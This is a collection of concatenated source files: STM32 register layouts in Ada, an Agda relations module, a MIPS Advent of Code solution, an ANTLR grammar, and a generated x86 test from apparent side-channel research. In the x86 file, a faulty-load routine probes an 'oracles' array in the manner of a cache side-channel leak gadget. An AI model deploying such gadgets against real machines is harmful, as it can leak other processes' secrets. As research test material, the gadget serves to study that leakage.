CTR_RX at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_EP4R_EA_Field is HAL.UInt4;
subtype USB_EP4R_STAT_TX_Field is HAL.UInt2;
subtype USB_EP4R_EPTYPE_Field is HAL.UInt2;
subtype USB_EP4R_STAT_RX_Field is HAL.UInt2;
type USB_EP4R_Register is record
EA : USB_EP4R_EA_Field := 16#0#;
STAT_TX : USB_EP4R_STAT_TX_Field := 16#0#;
DTOG_TX : Boolean := False;
CTR_TX : Boolean := False;
EP_KIND : Boolean := False;
EPTYPE : USB_EP4R_EPTYPE_Field := 16#0#;
SETUP : Boolean := False;
STAT_RX : USB_EP4R_STAT_RX_Field := 16#0#;
DTOG_RX : Boolean := False;
CTR_RX : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_EP4R_Register use record
EA at 0 range 0 .. 3;
STAT_TX at 0 range 4 .. 5;
DTOG_TX at 0 range 6 .. 6;
CTR_TX at 0 range 7 .. 7;
EP_KIND at 0 range 8 .. 8;
EPTYPE at 0 range 9 .. 10;
SETUP at 0 range 11 .. 11;
STAT_RX at 0 range 12 .. 13;
DTOG_RX at 0 range 14 .. 14;
CTR_RX at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_EP5R_EA_Field is HAL.UInt4;
subtype USB_EP5R_STAT_TX_Field is HAL.UInt2;
subtype USB_EP5R_EPTYPE_Field is HAL.UInt2;
subtype USB_EP5R_STAT_RX_Field is HAL.UInt2;
type USB_EP5R_Register is record
EA : USB_EP5R_EA_Field := 16#0#;
STAT_TX : USB_EP5R_STAT_TX_Field := 16#0#;
DTOG_TX : Boolean := False;
CTR_TX : Boolean := False;
EP_KIND : Boolean := False;
EPTYPE : USB_EP5R_EPTYPE_Field := 16#0#;
SETUP : Boolean := False;
STAT_RX : USB_EP5R_STAT_RX_Field := 16#0#;
DTOG_RX : Boolean := False;
CTR_RX : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_EP5R_Register use record
EA at 0 range 0 .. 3;
STAT_TX at 0 range 4 .. 5;
DTOG_TX at 0 range 6 .. 6;
CTR_TX at 0 range 7 .. 7;
EP_KIND at 0 range 8 .. 8;
EPTYPE at 0 range 9 .. 10;
SETUP at 0 range 11 .. 11;
STAT_RX at 0 range 12 .. 13;
DTOG_RX at 0 range 14 .. 14;
CTR_RX at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_EP6R_EA_Field is HAL.UInt4;
subtype USB_EP6R_STAT_TX_Field is HAL.UInt2;
subtype USB_EP6R_EPTYPE_Field is HAL.UInt2;
subtype USB_EP6R_STAT_RX_Field is HAL.UInt2;
type USB_EP6R_Register is record
EA : USB_EP6R_EA_Field := 16#0#;
STAT_TX : USB_EP6R_STAT_TX_Field := 16#0#;
DTOG_TX : Boolean := False;
CTR_TX : Boolean := False;
EP_KIND : Boolean := False;
EPTYPE : USB_EP6R_EPTYPE_Field := 16#0#;
SETUP : Boolean := False;
STAT_RX : USB_EP6R_STAT_RX_Field := 16#0#;
DTOG_RX : Boolean := False;
CTR_RX : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_EP6R_Register use record
EA at 0 range 0 .. 3;
STAT_TX at 0 range 4 .. 5;
DTOG_TX at 0 range 6 .. 6;
CTR_TX at 0 range 7 .. 7;
EP_KIND at 0 range 8 .. 8;
EPTYPE at 0 range 9 .. 10;
SETUP at 0 range 11 .. 11;
STAT_RX at 0 range 12 .. 13;
DTOG_RX at 0 range 14 .. 14;
CTR_RX at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_EP7R_EA_Field is HAL.UInt4;
subtype USB_EP7R_STAT_TX_Field is HAL.UInt2;
subtype USB_EP7R_EPTYPE_Field is HAL.UInt2;
subtype USB_EP7R_STAT_RX_Field is HAL.UInt2;
type USB_EP7R_Register is record
EA : USB_EP7R_EA_Field := 16#0#;
STAT_TX : USB_EP7R_STAT_TX_Field := 16#0#;
DTOG_TX : Boolean := False;
CTR_TX : Boolean := False;
EP_KIND : Boolean := False;
EPTYPE : USB_EP7R_EPTYPE_Field := 16#0#;
SETUP : Boolean := False;
STAT_RX : USB_EP7R_STAT_RX_Field := 16#0#;
DTOG_RX : Boolean := False;
CTR_RX : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_EP7R_Register use record
EA at 0 range 0 .. 3;
STAT_TX at 0 range 4 .. 5;
DTOG_TX at 0 range 6 .. 6;
CTR_TX at 0 range 7 .. 7;
EP_KIND at 0 range 8 .. 8;
EPTYPE at 0 range 9 .. 10;
SETUP at 0 range 11 .. 11;
STAT_RX at 0 range 12 .. 13;
DTOG_RX at 0 range 14 .. 14;
CTR_RX at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
type USB_CNTR_Register is record
FRES : Boolean := False;
PDWN : Boolean := False;
LP_MODE : Boolean := False;
FSUSP : Boolean := False;
RESUME : Boolean := False;
L1RESUME : Boolean := False;
-- unspecified
Reserved_6_6 : HAL.Bit := 16#0#;
L1REQM : Boolean := False;
ESOFM : Boolean := False;
SOFM : Boolean := False;
RESETM : Boolean := False;
SUSPM : Boolean := False;
WKUPM : Boolean := False;
ERRM : Boolean := False;
PMAOVRM : Boolean := False;
CTRM : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_CNTR_Register use record
FRES at 0 range 0 .. 0;
PDWN at 0 range 1 .. 1;
LP_MODE at 0 range 2 .. 2;
FSUSP at 0 range 3 .. 3;
RESUME at 0 range 4 .. 4;
L1RESUME at 0 range 5 .. 5;
Reserved_6_6 at 0 range 6 .. 6;
L1REQM at 0 range 7 .. 7;
ESOFM at 0 range 8 .. 8;
SOFM at 0 range 9 .. 9;
RESETM at 0 range 10 .. 10;
SUSPM at 0 range 11 .. 11;
WKUPM at 0 range 12 .. 12;
ERRM at 0 range 13 .. 13;
PMAOVRM at 0 range 14 .. 14;
CTRM at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_ISTR_EP_ID_Field is HAL.UInt4;
type USB_ISTR_Register is record
EP_ID : USB_ISTR_EP_ID_Field := 16#0#;
DIR : Boolean := False;
-- unspecified
Reserved_5_6 : HAL.UInt2 := 16#0#;
L1REQ : Boolean := False;
ESOF : Boolean := False;
SOF : Boolean := False;
RESET : Boolean := False;
SUSP : Boolean := False;
WKUP : Boolean := False;
ERR : Boolean := False;
PMAOVR : Boolean := False;
CTR : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_ISTR_Register use record
EP_ID at 0 range 0 .. 3;
DIR at 0 range 4 .. 4;
Reserved_5_6 at 0 range 5 .. 6;
L1REQ at 0 range 7 .. 7;
ESOF at 0 range 8 .. 8;
SOF at 0 range 9 .. 9;
RESET at 0 range 10 .. 10;
SUSP at 0 range 11 .. 11;
WKUP at 0 range 12 .. 12;
ERR at 0 range 13 .. 13;
PMAOVR at 0 range 14 .. 14;
CTR at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_FNR_FN_Field is HAL.UInt11;
subtype USB_FNR_LSOF_Field is HAL.UInt2;
type USB_FNR_Register is record
FN : USB_FNR_FN_Field := 16#0#;
LSOF : USB_FNR_LSOF_Field := 16#0#;
LCK : Boolean := False;
RXDM : Boolean := False;
RXDP : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_FNR_Register use record
FN at 0 range 0 .. 10;
LSOF at 0 range 11 .. 12;
LCK at 0 range 13 .. 13;
RXDM at 0 range 14 .. 14;
RXDP at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_DADDR_ADD_Field is HAL.UInt7;
type USB_DADDR_Register is record
ADD : USB_DADDR_ADD_Field := 16#0#;
EF : Boolean := False;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_DADDR_Register use record
ADD at 0 range 0 .. 6;
EF at 0 range 7 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
subtype USB_BTABLE_BTABLE_Field is HAL.UInt13;
type USB_BTABLE_Register is record
-- unspecified
Reserved_0_2 : HAL.UInt3 := 16#0#;
BTABLE : USB_BTABLE_BTABLE_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_BTABLE_Register use record
Reserved_0_2 at 0 range 0 .. 2;
BTABLE at 0 range 3 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_LPMCSR_BESL_Field is HAL.UInt4;
type USB_LPMCSR_Register is record
LPMEN : Boolean := False;
LPMACK : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
REMWAKE : Boolean := False;
BESL : USB_LPMCSR_BESL_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_LPMCSR_Register use record
LPMEN at 0 range 0 .. 0;
LPMACK at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
REMWAKE at 0 range 3 .. 3;
BESL at 0 range 4 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
type USB_BCDR_Register is record
BCDEN : Boolean := False;
DCDEN : Boolean := False;
PDEN : Boolean := False;
SDEN : Boolean := False;
DCDET : Boolean := False;
PDET : Boolean := False;
SDET : Boolean := False;
PS2DET : Boolean := False;
-- unspecified
Reserved_8_14 : HAL.UInt7 := 16#0#;
DPPU : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_BCDR_Register use record
BCDEN at 0 range 0 .. 0;
DCDEN at 0 range 1 .. 1;
PDEN at 0 range 2 .. 2;
SDEN at 0 range 3 .. 3;
DCDET at 0 range 4 .. 4;
PDET at 0 range 5 .. 5;
SDET at 0 range 6 .. 6;
PS2DET at 0 range 7 .. 7;
Reserved_8_14 at 0 range 8 .. 14;
DPPU at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
type USB_FS_Peripheral is record
USB_EP0R : aliased USB_EP0R_Register;
USB_EP1R : aliased USB_EP1R_Register;
USB_EP2R : aliased USB_EP2R_Register;
USB_EP3R : aliased USB_EP3R_Register;
USB_EP4R : aliased USB_EP4R_Register;
USB_EP5R : aliased USB_EP5R_Register;
USB_EP6R : aliased USB_EP6R_Register;
USB_EP7R : aliased USB_EP7R_Register;
USB_CNTR : aliased USB_CNTR_Register;
USB_ISTR : aliased USB_ISTR_Register;
USB_FNR : aliased USB_FNR_Register;
USB_DADDR : aliased USB_DADDR_Register;
USB_BTABLE : aliased USB_BTABLE_Register;
USB_LPMCSR : aliased USB_LPMCSR_Register;
USB_BCDR : aliased USB_BCDR_Register;
end record
with Volatile;
for USB_FS_Peripheral use record
USB_EP0R at 16#0# range 0 .. 31;
USB_EP1R at 16#4# range 0 .. 31;
USB_EP2R at 16#8# range 0 .. 31;
USB_EP3R at 16#C# range 0 .. 31;
USB_EP4R at 16#10# range 0 .. 31;
USB_EP5R at 16#14# range 0 .. 31;
USB_EP6R at 16#18# range 0 .. 31;
USB_EP7R at 16#1C# range 0 .. 31;
USB_CNTR at 16#40# range 0 .. 31;
USB_ISTR at 16#44# range 0 .. 31;
USB_FNR at 16#48# range 0 .. 31;
USB_DADDR at 16#4C# range 0 .. 31;
USB_BTABLE at 16#50# range 0 .. 31;
USB_LPMCSR at 16#54# range 0 .. 31;
USB_BCDR at 16#58# range 0 .. 31;
end record;
USB_FS_Periph : aliased USB_FS_Peripheral
with Import, Address => System'To_Address (16#40006800#);
end STM32_SVD.USB_FS;
|
Streams/Relations.agda | hbasold/Sandbox | 0 | 5098 | module Relations where
open import Level as Level using (zero)
open import Size
open import Function
open import Relation.Binary
open import Relation.Binary.PropositionalEquality as P
open ≡-Reasoning
RelTrans : Set → Set₁
RelTrans B = Rel B Level.zero → Rel B Level.zero
Monotone : ∀{B} → RelTrans B → Set₁
Monotone F = ∀ {R S} → R ⇒ S → F R ⇒ F S
-- | Useful example of a compatible up-to technique: equivalence closure.
data EquivCls {B : Set} (R : Rel B Level.zero) : Rel B Level.zero where
cls-incl : {a b : B} → R a b → EquivCls R a b
cls-refl : {b : B} → EquivCls R b b
cls-sym : {a b : B} → EquivCls R a b → EquivCls R b a
cls-trans : {a b c : B} → EquivCls R a b → EquivCls R b c → EquivCls R a c
-- | The operation of taking the equivalence closure is monotone.
equivCls-monotone : ∀{B} → Monotone {B} EquivCls
equivCls-monotone R≤S (cls-incl xRy) = cls-incl (R≤S xRy)
equivCls-monotone R≤S cls-refl = cls-refl
equivCls-monotone R≤S (cls-sym p) = cls-sym (equivCls-monotone R≤S p)
equivCls-monotone R≤S (cls-trans p q) =
cls-trans (equivCls-monotone R≤S p) (equivCls-monotone R≤S q)
-- | The equivalence closure is indeed a closure operator.
equivCls-expanding : ∀{B R} → R ⇒ EquivCls {B} R
equivCls-expanding p = cls-incl p
equivCls-idempotent : ∀{B R} → EquivCls (EquivCls R) ⇒ EquivCls {B} R
equivCls-idempotent (cls-incl p) = p
equivCls-idempotent cls-refl = cls-refl
equivCls-idempotent (cls-sym p) = cls-sym (equivCls-idempotent p)
equivCls-idempotent (cls-trans p q) =
cls-trans (equivCls-idempotent p) (equivCls-idempotent q)
-- | Equivalence closure gives indeed equivalence relation
equivCls-equiv : ∀{A} → (R : Rel A _) → IsEquivalence (EquivCls R)
equivCls-equiv R = record
{ refl = cls-refl
; sym = cls-sym
; trans = cls-trans
}
|
Gonduls/d01/p1&p2.asm | Tommimon/advent-of-code-2021 | 6 | 247534 | # Gonduls's 2021 day1: read and parse integers from file,
# p_1 check if number is greater than previous number: result++
# p_2 check if number is greater than third last number (storing in int[3] array): result++
# Did not store static registers in eqv variables because why would I
# Mostly copied from Riccardo's day1 2020, some comments might refer to his code instead of mine
# Our solutions to Advent of Code:
# 2021: https://github.com/Tommimon/advent-of-code-2021
# 2020: https://github.com/Tommimon/advent-of-code-2020
.data
.eqv FILE_MAX_SIZE 100000 # used to set buffer size for reading, greatly exaggerated 'cause it works
.eqv NUMBERS_AMOUNT 3
.eqv NUMBERS_AMOUNT_BYTE 12 # 3 * 4 bytes
NUM_ARRAY: .space NUMBERS_AMOUNT_BYTE
BUFFER: .space FILE_MAX_SIZE
FILE_NAME: .asciiz "input.txt"
WELCOME_STRING: .asciiz "Welcome to me copying (again) Riccardo's first MIPS program ever attempting to solve day 1 of Advent Of Code 2020!\n"
PART1_SUCCESS: .asciiz "Here's your result for the first part:\n"
PART2_SUCCESS: .asciiz "Here's your result for the second part:\n"
.text
WELCOME:
li $v0, 4 # 4 --> print_string
la $a0, WELCOME_STRING # $a0 = address of null-terminated string to print
syscall
##### READ FILE TO BUFFER #####
OPEN_FILE:
li $v0, 13 # 13 --> open_file
la $a0, FILE_NAME # $a0 = address of null-terminated string containing filename
li $a1, 0 # $a1 = flags, 0 for read-only
li $a2, 0 # $a2 = mode, mode is ignored
syscall # file descriptor returned in $v0
move $s7, $v0 # save the file descriptor in $s7
READ_FILE:
li $v0, 14 # 14 --> read_file
move $a0, $s7 # $a0 = file descriptor
la $a1, BUFFER # $a1 = address of input buffer
li $a2, FILE_MAX_SIZE # $a2 = maximum number of characters to read
syscall # $v0 contains number of characters read (0 if end-of-file, negative if error).
########## PARSE INPUT ##########
# $t0 the ADDRESS of BUFF
# $t1 the ADDRESS of VECTOR
# $t2-$t4 actual temporary registers
# $t5 is the '\n'
# $t6 is the multiplier
# $t7 is the thing read and manipulated
# $s1 is the current integer
# $s2 is the index of three number array (0, 4, 8 values only)
# $s3 is the previous number
# $s4 is the result part 1
# $s5 is the result part 2
PARSE_START:
la $t0, BUFFER
la $t1, NUM_ARRAY
li $t5, '\n'
li $t6, 1
li $t9, 2147483647 # initialized with INT_MAX, never again used
move $s1, $zero
sw $t9, ($t1)
sw $t9, 4($t1)
sw $t9, 8($t1)
move $s2, $zero
move $s3, $t9
move $s4, $zero
move $s5, $zero
PARSE_CICLE:
lb $t7, ($t0)
beq $t5, $t7, FOUND_BACKSLASH_N # every number is followed by a '\n'
beq $zero, $t7, END_PARSE_CICLE # '\x00' ends the string to parse
subi $t7, $t7, 48 # value of '0' in ASCII
li $t3, 10
mult $s1, $t3 # multiply by 10 the prev partial number
mflo $s1
add $s1, $s1, $t7 # add together the partial number and the digit we just got
addi $t0, $t0, 1 # switch to next char
j PARSE_CICLE
FOUND_BACKSLASH_N: # finally we have found the full number
addiu $t0, $t0, 1 # switch to next char
############ Part 1 ###############
bge $s3, $s1, NUMBER_NOT_INCREASED_1
addi $s4, $s4, 1 # if current > previous: result_1 ++
NUMBER_NOT_INCREASED_1:
move $s3, $s1
############ Part 2 ###############
addu $t3, $s2, $t1 # calculate address
lw $t2, ($t3) # get third last number stored in array
bge $t2, $s1, NUMBER_NOT_INCREASED_2
addi $s5, $s5, 1 # if current > third last: result_2 ++
NUMBER_NOT_INCREASED_2:
addu $t3, $s2, $t1 # calculate address
sw $s1, ($t3) # store int in correct position in array
move $s1, $zero # reset the value in $s1 so it can read a new number
addi $s2, $s2, 4 # switch to next index in the array modulo 3
li $t4, 8
bge $t4, $s2, INDEX_OK # if index >= 8 (4*2): jump
move $s2, $zero # else: index = 0
INDEX_OK:
j PARSE_CICLE
END_PARSE_CICLE:
li $v0, 4 # 4 --> print_string
la $a0, PART1_SUCCESS # $a0 = address of null-terminated string to print
syscall
li $v0, 1 # 1 --> print_int
move $a0, $s4 # print result
syscall
li $v0, 11 # 11 --> print_byte
li $a0, '\n'
syscall
li $v0, 4 # 4 --> print_string
la $a0, PART2_SUCCESS # $a0 = address of null-terminated string to print
syscall
li $v0, 1 # 1 --> print_int
move $a0, $s5 # print result
syscall
li $v0, 10 # End program
syscall
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca.log_21829_799.asm | ljhsiun2/medusa | 9 | 170992 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1be4, %rsi
lea addresses_D_ht+0x1e94c, %rdi
nop
cmp $49468, %r10
mov $70, %rcx
rep movsl
nop
nop
nop
xor %rbx, %rbx
lea addresses_normal_ht+0x537c, %r14
clflush (%r14)
add %rbx, %rbx
mov (%r14), %cx
nop
xor $5888, %r10
lea addresses_UC_ht+0x1e8a3, %rsi
lea addresses_normal_ht+0x2644, %rdi
nop
nop
nop
nop
add $22409, %r11
mov $88, %rcx
rep movsw
nop
xor %rdi, %rdi
lea addresses_D_ht+0x404, %rsi
lea addresses_A_ht+0x27d0, %rdi
nop
nop
and $6548, %r8
mov $80, %rcx
rep movsl
nop
nop
nop
and $25635, %rdi
lea addresses_UC_ht+0xe5e4, %rcx
add $21002, %r8
mov (%rcx), %r14
nop
nop
sub %r11, %r11
lea addresses_normal_ht+0x5734, %r8
nop
nop
nop
nop
dec %r14
movups (%r8), %xmm7
vpextrq $0, %xmm7, %r11
nop
nop
nop
nop
nop
xor $34590, %r10
lea addresses_WT_ht+0x3fe4, %rsi
nop
nop
nop
nop
dec %r8
mov $0x6162636465666768, %rbx
movq %rbx, (%rsi)
nop
and $33261, %r10
lea addresses_UC_ht+0x9b24, %rdi
nop
xor %rcx, %rcx
movb (%rdi), %bl
lfence
lea addresses_WT_ht+0x92e4, %rcx
nop
nop
and $61988, %rbx
mov (%rcx), %r8d
sub $4408, %r10
lea addresses_WC_ht+0x1ac44, %r11
nop
add %rbx, %rbx
mov (%r11), %r8
nop
mfence
lea addresses_UC_ht+0x6d64, %rcx
nop
nop
nop
nop
xor %rsi, %rsi
movb $0x61, (%rcx)
nop
nop
nop
nop
inc %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %rax
push %rcx
push %rdi
// Faulty Load
lea addresses_normal+0x8fe4, %rax
nop
add $50210, %rdi
mov (%rax), %r13w
lea oracles, %r15
and $0xff, %r13
shlq $12, %r13
mov (%r15,%r13,1), %r13
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_normal', 'same': True, 'AVXalign': True, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
projects/batfish/src/main/antlr4/org/batfish/grammar/cumulus_frr/CumulusFrr_common.g4 | nickgian/batfish | 0 | 1309 | parser grammar CumulusFrr_common;
options {
tokenVocab = CumulusFrrLexer;
}
autonomous_system
:
uint32
;
ip_address
:
IP_ADDRESS
| SUBNET_MASK
;
ip_community_list_name
:
// 1-63 characters
WORD
;
ip_prefix_list_name
:
// 1-63 chars
WORD
;
line_action
:
deny = DENY
| permit = PERMIT
;
literal_standard_community
:
high = uint16 COLON low = uint16
;
prefix
:
IP_PREFIX
;
route_map_name
:
WORD
;
vni_number
:
v = uint32
{isVniNumber($v.ctx)}?
;
uint16
:
UINT8
| UINT16
;
vrf_name
:
word
;
uint32
:
UINT8
| UINT16
| UINT32
;
word
:
WORD
;
null_rest_of_line
:
~NEWLINE* NEWLINE
; |
source/stm32-f4-usart.ads | Vovanium/stm32-ada | 1 | 24792 | <reponame>Vovanium/stm32-ada<filename>source/stm32-f4-usart.ads
with Interfaces;
use Interfaces;
package STM32.F4.USART is
pragma Pure;
type Status_Register is record
PE: Boolean; -- Psrity error
FE: Boolean; -- Framing error
NF: Boolean; -- Noise detection flag
ORE: Boolean; -- Overrun error
IDLE: Boolean; -- IDLE line detected
RXNE: Boolean; -- Read data register not empty
TC: Boolean; -- Transmission complete
TXE: Boolean; -- Transmit data register empty
LBD: Boolean; -- LIN break detection flag
CTS: Boolean; -- CTS flag
Reserved: Integer range 0 .. 2**22 - 1;
end record with Size => 32;
for Status_Register use record
PE at 0 range 0 .. 0;
FE at 0 range 1 .. 1;
NF at 0 range 2 .. 2;
ORE at 0 range 3 .. 3;
IDLE at 0 range 4 .. 4;
RXNE at 0 range 5 .. 5;
TC at 0 range 6 .. 6;
TXE at 0 range 7 .. 7;
LBD at 0 range 8 .. 8;
CTS at 0 range 9 .. 9;
Reserved at 0 range 10 .. 31;
end record;
type Baud_Rate_Register is record
DIV_Fraction: Integer range 0 .. 2**4 - 1; -- Fraction of USARTDIV
DIV_Mantissa: Integer range 0 .. 2**12 - 1; -- Mantissa of USARTDIV
Reserved: Integer range 0 .. 2**16 - 1;
end record with Size => 32;
for Baud_Rate_Register use record
DIV_Fraction at 0 range 0 .. 3;
DIV_Mantissa at 0 range 4 .. 15;
Reserved at 0 range 16 .. 31;
end record;
-- Parity selection bit field
type Parity is (
Even_Parity, -- Parity bit is cleared when even number of data bits is set, set otherwise
